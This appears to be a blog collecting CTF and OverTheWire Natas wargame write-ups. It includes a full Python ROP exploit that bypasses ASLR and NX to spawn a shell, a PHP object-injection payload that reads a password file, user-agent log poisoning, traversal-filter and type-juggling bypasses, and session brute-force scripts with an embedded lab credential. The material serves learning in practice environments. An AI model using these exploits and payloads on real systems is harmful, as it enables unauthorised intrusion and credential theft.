Lately I’ve been trying to sharpen my binary exploitation skills and had the perfect opportunity to do so when a friend shared with me a binary from hou.sec.con 2015’s CTF.  This is a 32 bit elf binary which basically echoes back whatever is passed to argv[1] via printf() and then copies argv[1] to a fixed size buffer in an unsafe fashion:

disas main

Because there is no bounds checking, we can overwrite the return address of strcpy() on the stack by passing a long string.  To find out exactly how many bytes of junk are required before overwriting the return address we can use a pattern creation tool (http://projects.jason-rush.com/buffer-overflow-eip-offset-string-generator) and pass its output as argv[1] to our the vuln binary:

initial fuzzpattern tool

This tells us that 112 bytes of junk are required before we start overwriting the return address of strcpy() AKA controlling the EIP register.  Were it not for the ASLR and NX protections we’d be doing an 80s style put NOPs + shellcode on the stack and ret2nops.  However, ASLR ensures that we cannot predict where on the stack the NOPs would end up, and NX prevents us from executing shellcode on the stack anyway.  We can use ROP + a function pointer leak to bypass these protections, and demonstrating these techniques is the main goal of this post.

Our first step will be to leak the true address of the printf() via its GOT entry.  We can do this by returning to strcpy() again with the arguments being the address of .bss for the dest, and printf()’s GOT pointer as the source.  This will write the true address of printf() to .bss.  We could have used other segments of memory besides .bss, but it suits our needs because it is read/write, and is not randomized by ASLR.  We can use objdump to discover the address of .bss like so:

find bss

Next we need to find the GOT pointer for printf():

readelf printf

Finally, let’s get the PLT address of strcpy() so that we can actually call it:

plt strcpy

Awesome, now that we know all these memory addresses let’s start building the exploit slowly:

exploit call strcpy

Our exploit will be a simple python script which creates a specially crafted string to totally fux this program.  After initializing our variables to the values we just gathered above, we add the address of pltStrcpy to our payload using python’s struct.pack to put the address in little endian format.  Next we add 4 B’s, let’s talk about this in a minute.  After that we add the arguments to strcpy() which again are .bss as the dest, and GOT printf() as the source.  So let’s run this in gdb-peda, and see what happens:

first run debuggin

First things first, we run the program in the debugger like this “`python callEaxWrite.py`”.  The reason we need quotes around our backticks is because at least one of our memory addresses (.bss) contains an “a0” byte which is the ascii code for a newline, and will break our string without them.  We run “p printf” which is a gdb command that will print the true address of printf in the libc library.  Next we run “x/wx 0x804a024” which means “examine 4 bytes at the mem address 0x804a024”.  We see that the output of these commands match!  This is great, it means we have successfully written the true address of printf to bss.  Also, the program crashed with EIP == 0x42424242 which is the ascii code for “BBBB”.  What happened here?  When we called strcpy we also needed to have it’s return address and two arguments on the stack.  The return address we provided it was BBBB so when it finished executing that’s where EIP jumped to.  Its two arguments and “our next instruction” are sitting at the top of the stack.  If we return to a “pop pop ret” ROP gadget instead of BBBB, we can clear the arguments off the stack and return to the top of the stack where we will have more instructions.

We can use an awesome tool called ROPgadget to find a pop pop ret instruction within our binary whose location is not randomized or marked as no execute.  We’ll replace BBBB with the address of this gadget in our exploit:

pop pop ret

Now that we have the true address of printf stored at bss we can add the offset between printf and system() in libc to bss to be able to reference and finally call system() for pure pwnage.  Let’s get the offset:

find distance

So our distance between the two functions is 0xffff1770.  The next task is simple but not ez.  We have to find a gadget that will let us add 0xffff1770 to the true address of printf.  I won’t try to detail my adventure in locating the perfect gadget, as it involved much trial and error here’s the one I ended up using:

addEcx

This gadget is not the most convenient in the world, as it does a lot more than what we need, fortunately we can mitigate the garbage.  The instruction that is useful to us here is “add dword ptr [ecx], edi”.  This instruction will add the value stored in edi to the value pointed to by the pointer stored in ecx (the de-referenced value of ecx).  This is perfect for us, we’ll get “distance” (0xffff1770) into edi, and bss (0x0804a024) into ecx.  However, in order to control these registers we need more gadgetz.

We can use the same “pop edi ; pop ebp ; ret” gadget from earlier to pop the distance off the stack into edi.  As well, we’ll put a pointer-to-the-value-“1” + 0x21 on the stack following the distance so that it gets popped into ebp, reason being that eax will get divided by ebp – 0x21 as a consequence of the gadget we are using, and this will ensure that we don’t crash the program by dividing by 0 or some other problem value.  We can find the value “1” in program memory again with ROPgadget:

valOne

Let’s see what the exploit looks like at this point:

 

 

exploit 2

And after running it in the debugger:

debugginnn 2

So, the value of edi is 0xffff1770, ebp-0x21 is 0x08048045 which points to 0x20000001 (this was supposed to just be a 1, for whatever reason it ends up working anyway, maybe someone can enlighten me), now all that’s left is ecx.  Also, ecx is 0x14 bytes away from being what we need it to be which is 0x0804a024.  Fortunately there is another gadget that can help us get the job done:

incEcx

If we run that gadget 0x14 (20) times all our registers will be primed for that add gadget that we found earlier.  So let’s continue with the exploit and run it in gdb again:

debuggin 3

Bss now contains the true address of system()!!!  Also, the program crashed with eip == 0x35624134, let’s hit up our tool again and find out how many bytes of junk we actually need:

pattern tool 2

So we need 44 bytes of junk following the execution of this rop gadget.  This is because gadget adds 0x1c to esp, and then pops 4 registers which increases it by another 16 bytes; 0x1c + 16  = 44.  So the hard part is over.  The next thing to do is write the string “/bin/sh” somewhere (bss + 0x10 in this case) so that we can use it as our argument to system().  Let’s use ROPgadget to find the location of the characters that are needed:

binSh

To actually write the string we’ll have to call strcpy() once for each character, plus the terminating null byte, I was able to find a null at 0x0804a04a, and I’m sure there are many other throughout the binary.  Here’s what that process looks like programmatically, I made a simple function and for loop to save on tedium:

exploit 4

and the debugger shows that the string was successfully written…almost done!

debuggin 4

The last two things we need to do are overwrite printf’s GOT entry with the address of system, and then call printf with one argument, our pointer to “/bin/sh”:

exploit 5

So did it work???????

We got a shell!!!  ltrace shows all the library calls that the program makes.  You can download the vulnerable binary here.  If you decide to mess around on your own machine just make sure the libc md5 hash matches, otherwise you will have to re-calculate the offset between printf and system as shown above.

import struct

def writeByte(dest, src):
    payload  = struct.pack('<I', pltStrcpy) #call strcpy
    payload += struct.pack('<I', popPopRet) #popPopRet, clean up stack so we can continue to ROP
    payload += struct.pack('<I', dest)      #what addr to write to
    payload += struct.pack('<I', src)       #ptr to char we are writing
    return payload

payload   = ""            #initialize our payload
gotPrintf = 0x0804a00c #readelf -r codecheck
pltPrintf = 0x08048310 #we use plt addresses to actually make library calls
pltStrcpy = 0x08048320 #objdump -d codecheck | grep strcpy
bss          = 0x0804a024 #real base bss
distance  = 0xffff1770 #offset between printf and system in libc
valOne      = 0x08048045 #pointer to value of 1
binSh     = 0x0804a034 #bss + 0x10 #where we will write the string "/bin/sh" to, and later use as argument to system
binShArray= [0x08048154, 0x08048157, 0x08048156, 0x0804815e, 0x08048154, 0x08048162, 0x080480d8, 0x0804a04a] #"/bin/sh"
popPopRet = 0x080484ee # pop edi ; pop ebp ; ret
addEcx      = 0x080484e4 # add dword ptr [ecx], edi ; div dword ptr [ebp - 0x21] ; add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
incEcx      = 0x080485f0 # inc ecx ; ret

payload += "A"*112 #fill buffer up w/ junk

#write addr of printf to bss
payload += struct.pack('<I', pltStrcpy) #call strcpy
payload += struct.pack('<I', popPopRet)
payload += struct.pack('<I', bss)        #first arg to strcpy (dest)
payload += struct.pack('<I', gotPrintf)        #second arg to strcpy, get true source of printf

#get our ducks in a row 4 2 pwn
payload += struct.pack('<I', popPopRet) # pop edi ; pop ebp ; ret
payload += struct.pack('<I', distance) # need distance to be there for pop edi
payload += struct.pack('<I', valOne + 0x21) #get addr of valOne onto the stock for the pop ebp
payload += struct.pack('<I', incEcx)*20 #address of (bss - 20) will b in ecx
payload += struct.pack('<I', addEcx) #add edi (distance) to [ecx] which contains true addr of printf
#payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab" #added 50 bytes from the pattern tool to help us deal with the stacker fuckery caused by this gadget
payload += "A"*44 #tool told us 44 bytes, we did the math also and agree 

#write "/bin/sh" to bss + 0x10
for i in range(0, len(binShArray)):
    payload += writeByte(binSh + i, binShArray[i])

#overwrite gotPrintf w/ system 
payload += struct.pack('<I', pltStrcpy) #call strcpy
payload += struct.pack('<I', popPopRet) #popPopRet, clean up stack so we can continue to ROP
payload += struct.pack('<I', gotPrintf)        #dest, overwriting printf pointer
payload += struct.pack('<I', bss)        #should contain address of system

#call system, since we overwrote printf's got entry
payload += struct.pack('<I', pltPrintf) 
payload += "BBBB"
payload += struct.pack('<I', binSh)

print payload

 

All the sql code in this level is there to throw us off.  If you pull off a SQL injection on this level let me know, because AFAIK it is not possible.  The trick to beating this level is in the comments at the top of the page.

natas level 27 src

They’re telling us that the database is reset every 5 minutes.  I wonder what would happen if we repeatedly tried to log in with blank creds, with the goal of attempting the login at the same time it’s cleared.  We can use the following script to find out:

for (i = 0; i < 10000; i++) {
    query = "username=natas28&password=";
    xhr = new XMLHttpRequest();
    xhr.open("POST", "http://natas27.natas.labs.overthewire.org/index.php", false);
    xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xhr.send(query);
    console.log(i);
        if (xhr.response.indexOf("Here") != -1) {
        break;
    }
}
console.log(xhr.response);

natas 27 win

Today we’ll be exploiting the unserialize() function in PHP.  The major lesson here is to NEVER unserialize() user input, and I’ll show you why. PHP.net describes the serialize() function as follows:

“Generates a storable representation of a value.  This is useful for storing or passing PHP values around without losing their type and structure. To make the serialized string into a PHP value again, use unserialize().”  They further state that, “When serializing objects, PHP will attempt to call the member function __sleep() prior to serialization. This is to allow the object to do any last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored using unserialize() the __wakeup() [or __construct()] member function is called”.

According to OWASP:

“In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

  • The application must have a class which implements a PHP magic method (such as __wakeup or __destruct [or __construct) that can be used to carry out malicious attacks, or to start a ‘POP chain’.
  • All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.”

Well we’ve got a class called Logger that implements __construct() and __destruct(), and it’s what starts off the code, so it is ahead of the unserialize() function, see here:

natas level 26 src 1

Later we can see them unserialize() input via $_COOKIE[“drawing”]:

natas level 26 src 2

What we can do here is pass unserialize() a malicious Logger object that, for example, creates a “log file” call win.php and writes the following message in the “loge file:

<?php system(‘cat /etc/natas_webpass/natas27’);?>

To create the serialized version of the Logger object I edited the source code as follows:

natas level 26 evil 1

As you can see, the $logFile field is set to “img/win.php”, and $exitMsg is set to our malicious php code.  After the class definition I echoed out a serialized and then base64 encoded version of an instance of the Logger object.  It must be base64 encoded because it will later be base64 decoded before being unserialized.  The output looks like this:

natas level 26 evil 2

That is what we will set the “drawing” field of our cookie to.  When this is unserialized by the script, it will create an instance of Logger with the values we set above.  This is because, as previously stated, when unserialize() is used it calls the __construct() function of that object.  This should result in the creation of win.php in the img/ directory of their webserver, which will spit out our password.  Let’s see:

natas level 26 win 1

We see some bullshit about “cannot use type Logger as array”, but the important thing is, was win.php created?

natas level 26 win 2

w0000000000000000t!!!!!!!!!!!!111111111111

 

This one is one of the most involved levels so far, as there are multiple pieces to the puzzle.  Let’s jump right in:

natas level 25 source 1

First we can see they are making an awful lot of effort to prevent us from including arbitrary files via the $filename variable.  This is a big hint that we should probably try to perform local/remote file inclusion to beat the level 🙂   The function safeinclude() is using str_replace() to strip out any series of “../”, which could be used to move backwards towards the directory root and allow us to traverse directories freely.   How can we defeat this?

natas level 25 defeat 1

By setting filename to “….//….//” str_replace() can do its job of removing the “../”, but it still leave behind a “../../” LoLz.  Our next problem is that they are checking for the presence of “natas_webpass” in the filename, if it is detected execution is halted.   Were it not for this the game would already be over, as we could simply direct the function to include the password file.

Since we can’t include the password file, and including remote files seems to fail as well what can we do?  Further down in the code shows a file that we have partial control over:

natas level 25 source 2

logRequest() is saving the date, our user-agent, and $ message in /tmp/natas25_xxxx.log.  Let’s see what this file looks like:

natas level 25 inclusion demo 1

You can see that the log file has successfully been included and contains all the above information including the user-agent, which we can control.  If we set the user-agent to some php code of our choosing, and then include this file it should be executed, let’s try it:

natas level 25 win

w00t!

 

 

Natas level 24 source

To win this level it would appear that we need to get $_REQUEST[“passwd”] to match the value of “censored”.  Maybe there is another way though.  Let’s see what the comments on php.net have to say about the strcmp() function.

natas level 24 php.net comments

As it turns out !strcmp(“foo”, array()) returns “1” AKA “true”,

natas level 24 test

For the win we can make $_REQUEST[“passwd”] an array, to do this just replace the “=” in the request to “[]” like so:

natas level 24 win

natas level 23 source

So we need to get $_REQUEST[“passwd”] to be greater than 10, AND strstr($_REQUEST[“passwd”],”iloveyou”) to evaluate to true.  Let’s examine the behavior of the PHP “>” operator:

natas level 23 > operator

According to php.net “If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically”.  So it looks like this condition will evaluate true when $passwd is a number or starts with a number that is greater than 10, even if letters follow that number.  Great!  So we need to get strstr($_REQUEST[“passwd”],”iloveyou”) to evaluate true and we’ll be set.  The php.net manual says strstr() “Returns the portion of string [starting at the match, to the end of the string], or FALSE if needle is not found”.  Here’s another example to chew on:

natas level 23 strstr

We should have all the information we need to win now:

natas level 23 win

 

 

 

This one was really easy:

natas level 21 source 1

Alls we have to do is set admin=1 for the win.  Let’s try:

natas level 21 first try

Well that didn’t work.  What’s up with this experimenter thing anyway?  I wonder what would happen if we used the PHPSESSID from that and made the same request?

natas level 21 win round 2

 

Oh…that’s what happens.

There is a lot of code in this one so lets focus in on the some of the more important parts:

natas level 20 win code snippet

Line 23 tells us we need to set $_SESSION[“admin”] == 1. for the win.  We don’t have direct control over the $_SESSION array, but the following code offers an entry point:

 natas level 20 entry point

The focus is on lines 59 – 63.  59 sets up a for loop that iterates once per newline (\n) present in $data.  This is made possible by the explode() function which “returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the string delimiter“.  On line 61 they explode() each member of the array by a space (” “), and set the limit as 2 meaning that it will only split the string by the first space.  Here’s an example to look at:

natas level 20 explode example

For this example I replaced $data with “friends love\nhappiness joy tranquility prosperity” and you can see that the first array key of $_SESSION was set to “friends” with the value “love”.  The second array key was set to “happiness” with the value “joy tranquility prosperity”.  For our hack we need to create an array key called “admin” with its value set to “1”.  We can create the key like this:

Natas level 20 admin key creation

Then all we have to do it set “admin” == 1:

natas level 20

 

 

natas level 19 msg

This is a really fabulous hint.  We know we’ll have to brute force the session ID again, and we also know the pattern is not sequential like the previous level, so lets start checking out some sample session IDs:

natas 19 test poop

natas level 19 test admin

Hmmm, all the session IDs consist of letters a-f and digits 0-9, maybe they are in hex?

natas level 19 xxd

xxd – make a hexdump or do the reverse.

It looks like the new pattern is to prepend a random number number plus a dash  to whatever we choose as our username.  So, all we have to do is brute force in the same fashion as last level.  The only difference is that our session ID has to be hex encoded and following their format of “‘xx’-‘username'”.  Here’s what it looks like coded out:

<?php
function ascii2hex($ascii) {
    $hex = '';
    for ($i = 0; $i < strlen($ascii); $i++) {
        $byte = strtolower(dechex(ord($ascii{$i})));
        $byte = str_repeat('0', 2 - strlen($byte)).$byte;
        $hex.=$byte;
    }
    return $hex;
}

for ($i = 0; $i < 700; $i++) {
    $url = 'http://natas19.natas.labs.overthewire.org/index.php';
    $data = array('username' => 'admin', 'password' => '');

    // use key 'http' even if you send the request to https://...
    $options = array(
        'http' => array(
            'header'  => "Accept: text/html, application/xhtml+xml, */*\r\nReferer: http://natas19.natas.labs.overthewire.org/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip, deflate\r\nHost: natas19.natas.labs.overthewire.org\r\nContent-Length: 24\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\nCookie: __cfduid=d672af779cf6a1789ade21ac2f577870b1417409322; __utma=176859643.63743471.1417409345.1418159358.1418253998.5; __utmz=176859643.1417409345.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=".ascii2hex($i."-admin")."\r\nAuthorization: Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
        ),
    );
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false,     $context);
    $result = gzinflate( substr($result, 10, -8));
    echo $i."\n";
    if (!(strpos($result, "You are logged in as a regular user."))) {
        var_dump($result);
        break;
    }
    //var_dump($result);
}
?>

natas 19 win